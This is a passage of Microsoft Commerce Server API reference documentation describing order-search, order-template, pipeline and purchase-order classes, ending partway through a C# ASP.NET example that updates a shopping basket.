Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.ProductID Property (BCL)

The ProductID property is a read/write String that contains the product ID to search for.

Definition

[Visual Basic .NET]
Public Property ProductID As System.String
[C#]
public System.String ProductID {get; set;}

Property Value

The product ID to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.StartDateTime Property (BCL)

The StartDateTime property is a read/write Datetime that specifies the DateTime search start value.

Definition

[Visual Basic .NET]
Public Property StartDateTime As System.DateTime
[C#]
public System.DateTime StartDateTime {get; set;}

Property Value

The DateTime search start value.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.UserID Property (BCL)

The UserID property is a read/write Guid containing the user ID to search for.

Definition

[Visual Basic .NET]
Public Property UserID As System.Guid
[C#]
public System.Guid UserID {get; set;}

Property Value

The user ID to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.UserOrganizationID Property (BCL)

The UserOrganizationID property is a read/write Guid that contains the user organization ID to search for.

Definition

[Visual Basic .NET]
Public Property UserOrganizationID As System.Guid
[C#]
public System.Guid UserOrganizationID {get; set;}

Property Value

The user organization ID to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.UserOrganizationName Property (BCL)

The UserOrganizationName property is a read/write String that contains the user organization name to search for.

Definition

[Visual Basic .NET]
Public Property UserOrganizationName As System.String
[C#]
public System.String UserOrganizationName {get; set;}

Property Value

The user organization name to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions Class (BCL)

Absracts order group search results specification.

Public Instance Constructor

Constructor | Description
OrderGroupSearchOptions Constructor | Creates a new instance of the OrderGroupSearchOptions class.

Public Instance Properties

Property | Description
Columns | Columns of interest.
FetchLineItemInformation | Indicates whether line item information should be retrieved from the database or not.
FetchOrderFormInformation | Specifies whether order form information should be retrieved as part of the search operation, or not.
PageNumber | Sets the page number of interest.
PageSize | Sets the page size.
SortColumnName | Column to sort by.
SortResultsInAscendingOrder | Specifies whether results should be retrieved sorted by ascending order on the sort column name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderGroupSearchOptions Constructor | Creates a new instance of the OrderGroupSearchOptions class.


OrderGroupSearchOptions Constructor (BCL)

Use this method to create a new instance of the OrderGroupSearchOptions class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public OrderGroupSearchOptions(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions Properties (BCL)

Public Instance Properties

Property | Description
Columns | Columns of interest.
FetchLineItemInformation | Indicates whether line item information should be retrieved from the database or not.
FetchOrderFormInformation | Specifies whether order form information should be retrieved as part of the search operation, or not.
PageNumber | Sets the page number of interest.
PageSize | Sets the page size.
SortColumnName | Column to sort by.
SortResultsInAscendingOrder | Specifies whether results should be retrieved sorted by ascending order on the sort column name.


OrderGroupSearchOptions.Columns Property (BCL)

The Columns property is a read-only StringCollection containing the columns of interest.

Definition

[Visual Basic .NET]
Public ReadOnly Property Columns As System.Collections.Specialized.StringCollection
[C#]
public System.Collections.Specialized.StringCollection Columns {get;}

Property Value

The column name of interest.

Example

Use the following code to perform a search based on the ordergroup_id, that will return the entire order.

[Visual Basic .NET]
  Dim Options As New OrderGroupSearchOptions()
  Options.FetchOrderFormInformation = True
  Options.Columns.Add("OrderGroup.[ordergroup_id]")
[C#]
  OrderGroupSearchOptions Options = new OrderGroupSearchOptions();
  Options.FetchOrderFormInformation = true;
  Options.Columns.Add("OrderGroup.[ordergroup_id]");

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.FetchLineItemInformation Property (BCL)

The FetchLineItemInformation property is a read/write Boolean indicating whether line item information should be retrieved from the database or not.

Definition

[Visual Basic .NET]
Public Property FetchLineItemInformation As System.Boolean
[C#]
public System.Boolean FetchLineItemInformation {get; set;}

Property Value

Retrieves the line item information.

Remarks

The default value is False.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.FetchOrderFormInformation Property (BCL)

The FetchOrderFormInformation property is a read/write Boolean that specifies whether order form information should be retrieved as part of the search operation, or not.

Definition

[Visual Basic .NET]
Public Property FetchOrderFormInformation As System.Boolean
[C#]
public System.Boolean FetchOrderFormInformation {get; set;}

Property Value

The order form information.

Remarks

The default value for this property is False.

Example

Use the following code to perform a search based on the ordergroup_id, that will return the entire order.

[Visual Basic .NET]
  Dim Options As New OrderGroupSearchOptions()
  Options.FetchOrderFormInformation = True
  Options.Columns.Add("OrderGroup.[ordergroup_id]")
[C#]
  OrderGroupSearchOptions Options = new OrderGroupSearchOptions();
  Options.FetchOrderFormInformation = true;
  Options.Columns.Add("OrderGroup.[ordergroup_id]");

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.PageNumber Property (BCL)

The PageNumber property is a read/write Int32 that sets page number of interest.

Definition

[Visual Basic .NET]
Public Property PageNumber As System.Int32
[C#]
public System.Int32 PageNumber {get; set;}

Property Value

The page number.

Remarks

The default value is 1.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.PageSize Property (BCL)

The PageSize property is a read/write Int32 that sets page size.

Definition

[Visual Basic .NET]
Public Property PageSize As System.Int32
[C#]
public System.Int32 PageSize {get; set;}

Property Value

The size of the page.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.SortColumnName Property (BCL)

The SortColumnName property is a read/write String that contains the column to sort by.

Definition

[Visual Basic .NET]
Public Property SortColumnName As System.String
[C#]
public System.String SortColumnName {get; set;}

Property Value

The column name to sort by.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.SortResultsInAscendingOrder Property (BCL)

The SortResultsInAscendingOrder property is a read/write Boolean that specifies whether results should be retrieved sorted by ascending order on the sort column name.

Definition

[Visual Basic .NET]
Public Property SortResultsInAscendingOrder As System.Boolean
[C#]
public System.Boolean SortResultsInAscendingOrder {get; set;}

Property Value

The search results in ascending order.

Remarks

If the sort column is not specified, then this property is ignored.

The default value is True.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate Class (BCL)

Encapsulates an order template in the Commerce order system. To create an OrderTemplate instance use the OrderContext.CreateOrderTemplate method.

Public Instance Methods

Method | Description
Clear | Clears all the order forms and the addresses associated with the OrderTemplate object.
Delete | Purges the OrderTemplate object from the underlying stores.
Dispose (Inherited from OrderGroup) | Releases resources used by this object.
GetEnumerator (Inherited from OrderGroup) | Retrieves an enumerator on this collection.
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
Save | Persists the state of the OrderTemplate object with the specified template name to the underlying stores.
Save(String) | Persists the state of the OrderTemplate object with the specified template name to the underlying stores.

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the collection of addresses associated with the OrderTemplate object.
HandlingTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_handling_total key on the OrderGroup object.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderTemplate object.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the order forms collection associated with this order group object.
OrderGroupID (Inherited from OrderGroup) | Accesses the order_group_id key on the OrderGroup.Value dictionary.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_shipping_total key on the OrderTemplate object.
StatusCode | Accesses the order group status code on the OrderTemplate object.
SubTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_oadjust_subtotal key on the OrderTemplate object.
TaxIncluded (Inherited from OrderGroup) | Retrieves the value of the saved_cy_tax_included key on the OrderTemplate object.
TaxTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_tax_total key on the OrderTemplate object.
TemplateId | Retrieves the template ID of the OrderTemplate object.
Total (Inherited from OrderGroup) | Retrieves the value of the saved_cy_total_total key on the OrderTemplate object.
UserId | Retrieves the ID of the user associated with the OrderTemplate object.
Xml (Inherited from OrderGroup) | Accesses the XML format of the OrderTemplate object.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases managed resources.

Remarks

An OrderTemplate object can be used to represent wish lists, recurring orders, shopping lists, or any other form of saved shopping basket. Multiple templates can exist for each user.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate Methods (BCL)

Public Instance Methods

Method | Description
Clear | Clears all the order forms and the addresses associated with the OrderTemplate object.
Delete | Purges the OrderTemplate object from the underlying stores.
Dispose (Inherited from OrderGroup) | Releases the unmanaged resources used by this class and optionally releases managed resources.
GetEnumerator (Inherited from OrderGroup) | Retrieves an enumerator on the collection.
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
Save | Persists the state of the OrderTemplate object with the specified template name to the underlying stores.
Save(String) | Persists the state of the OrderTemplate object with the specified template name to the underlying stores.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


OrderTemplate.Clear Method (BCL)

Use this method to clear all the order forms and the addresses associated with the OrderGroup object.

Definition

[Visual Basic .NET]
Public Sub Clear( _
)
[C#]
public void Clear(
);

Remarks

This method wraps the Clear method of the OrderGroup class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.Delete Method (BCL)

Use this method to purge the OrderTemplate object from the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Delete( _
)
[C#]
public void Delete(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and optionally release managed resources.

Definition

[Visual Basic .NET]
Overrides Protected Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected override void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the Microsoft .NET Framework Software Development Kit (SDK) documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.Save Method (BCL)

Use this method to persist the state of the OrderTemplate object to the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Save( _
)
[C#]
public void Save(
);

Remarks

The name of the template defaults to null.

This method wraps the SaveAsTemplate method on the Microsoft.CommerceServer.Interop.Orders.OrderGroupFreeThreaded type.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.Save (String) Method (BCL)

Use this method to persist the state of the OrderTemplate object with the specified template name to the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Save( _
  ByVal orderTemplateName As System.String _
)
[C#]
public void Save(
  System.String orderTemplateName
);

Parameters

[Visual Basic .NET]
orderTemplateName
Name of the OrderTemplate.
[C#]
orderTemplateName
Name of the OrderTemplate.

Remarks

This method wraps the SaveAsTemplate method on the Microsoft.CommerceServer.Interop.OrderGroup type.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate Properties (BCL)

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the collection of addresses associated with the OrderTemplate object.
HandlingTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_handling_total key on the OrderGroup object.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderTemplate object.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the order forms collection associated with this OrderGroup object.
OrderGroupID (Inherited from OrderGroup) | Accesses the order_group_id key on the OrderGroup.Value dictionary.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_shipping_total key on the OrderTemplate object.
StatusCode | Accesses the order group status code on the OrderTemplate object.
SubTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_oadjust_subtotal key on the OrderTemplate object.
TaxIncluded (Inherited from OrderGroup) | Retrieves the value of the saved_cy_tax_included key on the OrderTemplate object.
TaxTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_tax_total key on the OrderTemplate object.
TemplateId | Retrieves the template ID of this OrderTemplate object.
Total (Inherited from OrderGroup) | Retrieves the value of the saved_cy_total_total key on the OrderTemplate object.
UserId | Retrieves the ID of the user associated with this OrderTemplate object .
Xml (Inherited from OrderGroup) | Accesses the XML format of the OrderTemplate object.


OrderTemplate.StatusCode Property (BCL)

The StatusCode property is a read-only Int32 that retrieves the order group status code on the OrderTemplate class. This property overrides the StatusCode property from the parent OrderGroup abstract class.

Definition

[Visual Basic .NET]
Overrides Public ReadOnly Property StatusCode As System.Int32
[C#]
public override System.Int32 StatusCode {get;}

Property Value

The order group status code on this OrderTemplate object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.TemplateId Property (BCL)

The TemplateId property is a read-only Guid that retrieves the template ID of this OrderTemplate object.

Definition

[Visual Basic .NET]
Public ReadOnly Property TemplateId As System.Guid
[C#]
public System.Guid TemplateId {get;}

Property Value

The template ID of this OrderTemplate object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.UserId Property (BCL)

The UserId property is a read-only Guid that retrieves the ID of the user associated with this OrderTemplate class.

Definition

[Visual Basic .NET]
Public ReadOnly Property UserId As System.Guid
[C#]
public System.Guid UserId {get;}

Property Value

A Guid containing the ID of the user associated with this OrderTemplate class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo Class (BCL)

Encapsulates the context dictionary passed down to execute a pipeline.

Public Instance Constructor

Constructor | Description
PipelineInfo Constructor(String) | Creates a new instance of the PipelineInfo class with the specified pipeline name.

Public Instance Properties

Property | Description
CacheManager | Accesses the CacheManager member.
CatalogContext | Accesses the CatalogContext member.
Item | Accesses the indexer by name.
Language | Accesses the language member.
ProfileContext | Accesses the ProfileContext member.
Profiles | Gets the collection of profiles to use for targeting during the execution of the pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo Constructor (BCL)

Public Instance Constructor

Constructor | Description
PipelineInfo Constructor(String) | Creates a new instance of the PipelineInfo class with the specified pipeline name.


PipelineInfo Constructor (String) (BCL)

Use this method to create a new instance of the PipelineInfo class with the specified pipeline name.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal pipelineName As System.String _
)
[C#]
public PipelineInfo(
  System.String pipelineName
);

Parameters

[Visual Basic .NET]
pipelineName
The name of the pipeline of interest.
[C#]
pipelineName
The name of the pipeline of interest.

Remarks

This method initializes the language property to CultureInfo.CurrentUICulture.

This method sets CacheManager, CatalogManager, ProfileService, and MessageManager keys.

When the pipelineName parameter is set to Basket, this method also stores the CatalogConnectionString, Evaluator, and CacheName keys.

When the pipelineName parameter is set to Total, this method also stores the TransactionConfig and ConnectionString keys.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo Properties (BCL)

Public Instance Properties

Property | Description
CacheManager | Accesses the CacheManager member.
CatalogContext | Accesses the CatalogContext member.
Item | Accesses the indexer by name.
Language | Accesses the language member.
ProfileContext | Accesses the ProfileContext member.
Profiles | Gets the collection of profiles to use for targeting during the execution of the pipeline.


PipelineInfo.CacheManager Property (BCL)

The CacheManager property is a read/write CacheManager object that gets and sets the current CacheManager object.

Definition

[Visual Basic .NET]
Public Property CacheManager As Microsoft.CommerceServer.Interop.Caching.CacheManager
[C#]
public Microsoft.CommerceServer.Interop.Caching.CacheManager CacheManager {get; set;}

Property Value

The current CacheManager class instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo.CatalogContext Property (BCL)

The CatalogContext property is a read/write CatalogContext object that gets or sets the current CatalogContext class instance.

Definition

[Visual Basic .NET]
Public Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get; set;}

Property Value

The current CatalogContext class instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo.Item Property (BCL)

The Item property is a read/write Object that sets and retrieves the item at the specified index.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal keyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String keyName
) {get; set;}

Parameters

[Visual Basic .NET]
keyName
The name of the key to get or set.
[C#]
keyName
The name of the key to get or set.

Property Value

The name of the specified key.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo.Language Property (BCL)

The Language property is a read/write String that sets the language in which the pipeline runs.

Definition

[Visual Basic .NET]
Public Property Language As System.String
[C#]
public System.String Language {get; set;}

Property Value

The language setting. The default value is CultureInfo.CurrentUICulture.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo.ProfileContext Property (BCL)

The ProfileContext property is a write-only ProfileContext object that sets the ProfileContext to use for targeting during the execution of the pipeline.

Definition

[Visual Basic .NET]
Public WriteOnly Property ProfileContext As ProfileContext
[C#]
public ProfileContext ProfileContext {set;}

Property Value

The current ProfileContext object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo.Profiles Property (BCL)

The Profiles property is a read-only TargetingProfileCollection object that sets the collection of profiles to use for targeting during the execution of the pipeline.

Definition

[Visual Basic .NET]
Public ReadOnly Property Profiles As TargetingProfileCollection
[C#]
public TargetingProfileCollection Profiles {get;}

Property Value

The TargetingProfileCollection that sets the collection of profiles to use for targeting during the execution of the pipeline.

Example

The following example shows how to target both the User profile and TargetingContext profile:
 CommerceContext ctx = CommerceContext.Current;
             pipeInfo = new PipelineInfo("basket")
             pipeInfo.Profiles.Add("User", ctx.UserProfile);
             pipeInfo.Profiles.Add("TargetingContext", ctx.TargetingSystem.TargetingContextProfile);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PurchaseOrder Class (BCL)

This class encapsulates a saved order in the Commerce Server order system. The user and the order ID must both be specified to create an instance of this class.

Public Instance Methods

Method | Description
Dispose (Inherited from OrderGroup) | Releases resources used by this object.
GetEnumerator (Inherited from OrderGroup) | Retrieves an enumerator on this collection.
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Executes the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Executes the stages of the specified pipeline.
Save | Saves the modifications to the purchase order to the underlying stores.

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the collection of addresses associated with the OrderGroup instance.
HandlingTotal (Inherited from OrderGroup) | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the order form collection associated with this OrderGroup object.
OrderGroupID (Inherited from OrderGroup) | Retrieves the ID associated with the OrderGroup instance.
PurchaseOrderID | Retrieves the order group ID associated with this purchase order instance. The value is returned as a GUID structure.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the ShippingTotal properties for the OrderForm objects in the OrderGroup instance.
StatusCode (Inherited from OrderGroup) | Accesses the order group status code on this OrderGroup instance.
SubTotal (Inherited from OrderGroup) | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal properties in this OrderGroup instance.
TaxIncluded (Inherited from OrderGroup) | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal (Inherited from OrderGroup) | Retrieves the total amount of tax from the OrderForm.TaxTotal properties in this OrderGroup instance.
Total (Inherited from OrderGroup) | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling, and tax.
TrackingNumber | Accesses the tracking number associated with this purchase order instance.
Xml (Inherited from OrderGroup) | Accesses the XML format of the order group instance.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PurchaseOrder Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from OrderGroup) | Releases resources used by this object.
GetEnumerator (Inherited from OrderGroup) | Retrieves an enumerator on this collection.
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Executes the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Executes the stages of the specified pipeline.
Save | Saves the modifications to the purchase order to the underlying stores.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the the unmanaged resources used by this class and optionally releases the managed resources.


PurchaseOrder.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and to optionally release the managed resources.

Definition

[Visual Basic .NET]
Overrides Protected Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected override void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
A value of True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
A value of True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the Microsoft .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PurchaseOrder.Save Method (BCL)

Use this method to save the modifications to the purchase order to the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Save( _
)
[C#]
public void Save(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PurchaseOrder Properties (BCL)

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the collection of addresses associated with the OrderGroup instance.
HandlingTotal (Inherited from OrderGroup) | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the order form collection associated with this OrderGroup object.
OrderGroupID (Inherited from OrderGroup) | Retrieves the ID associated with the OrderGroup instance.
PurchaseOrderID | Retrieves the order group ID associated with this ourchase order instance. The value is returned as a Guid structure.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the ShippingTotal properties for the OrderForm objects in the OrderGroup instance.
StatusCode (Inherited from OrderGroup) | Accesses the order group status code on this OrderGroup instance.
SubTotal (Inherited from OrderGroup) | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal properties in this OrderGroup instance.
TaxIncluded (Inherited from OrderGroup) | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal (Inherited from OrderGroup) | Retrieves the total amount of tax from the OrderForm.TaxTotal properties in this OrderGroup instance.
Total (Inherited from OrderGroup) | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling, and tax.
TrackingNumber | Accesses the tracking number associated with this purchase order instance.
Xml (Inherited from OrderGroup) | Accesses the XML format of the order group instance.


PurchaseOrder.PurchaseOrderID Property (BCL)

The PurchaseOrderID property is a read-only Guid that retrieves the order group ID associated with this purchase order instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property PurchaseOrderID As System.Guid
[C#]
public System.Guid PurchaseOrderID {get;}

Property Value

The order group ID associated with this purchase order instance

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PurchaseOrder.TrackingNumber Property (BCL)

The TrackingNumber property is a read/write String that accesses the tracking number associated with this purchase order instance.

Definition

[Visual Basic .NET]
Public Property TrackingNumber As System.String
[C#]
public System.String TrackingNumber {get; set;}

Property Value

The tracking number associated with this purchase order instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Orders Namespace

Examples

Example | Description
Code to Manipulate a Basket on an ASP.NET Web Form | Describes how to manipulate a basket on an ASP.NET Web form.
Code to Set Shipping Methods on a Basket on an ASP.NET Web Form | Describes how to set shipping methods on a basket.
Code to Dump an Order Form | Describes how to dump the contents of an order form.


Code to Manipulate a Basket on an ASP.NET Web Form

Use the following code to manipulate a basket on an ASP.NET Web form.

<%@ Page Language="C#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Orders" %>

<script language="C#" runat="server">

    void Page_Load(object source, EventArgs args) {
        if (!IsPostBack) {
            UpdateBasket();
        }
    }

    void UpdateBasket() {

        OrderContext orders = CommerceContext.Current.OrderSystem;

        // This requires that the CommerceContext.UserID property already
        // be set.  It can either be set dynamically if using Commerce Server
        // authentication, or manually.
        Basket shoppingCart =
            orders.GetBasket(new System.Guid(CommerceContext.Current.UserID));

        // If the shopping cart has just been created, no order forms
        // will exist and thus, it is unusable.  So a new, default
        // order form must be added.
        if (shoppingCart.OrderForms.Count == 0) {
            shoppingCart.OrderForms.Add(new OrderForm("default"));
        }

        // Execute the product pipeline to ensure we have the latest product
        // information in the basket.
        shoppingCart.RunPipeline(new PipelineInfo("basket"));

        // Bind the default order form to the Repeater control used for
        // displaying its contents.
        BasketListing.DataSource = shoppingCart.OrderForms["default"].LineItems;
        BasketListing.DataBind();

        // Update information about the order.
        SubTotal.Text = String.Format("{0:C}", shoppingCart.SubTotal);

        // This data will not be available after running the basket pipeline
        // alone.
        Tax.Text = String.Format("{0:C}", shoppingCart.TaxTotal);
        Total.Text = String.Format("{0:C}", shoppingCart.Total);

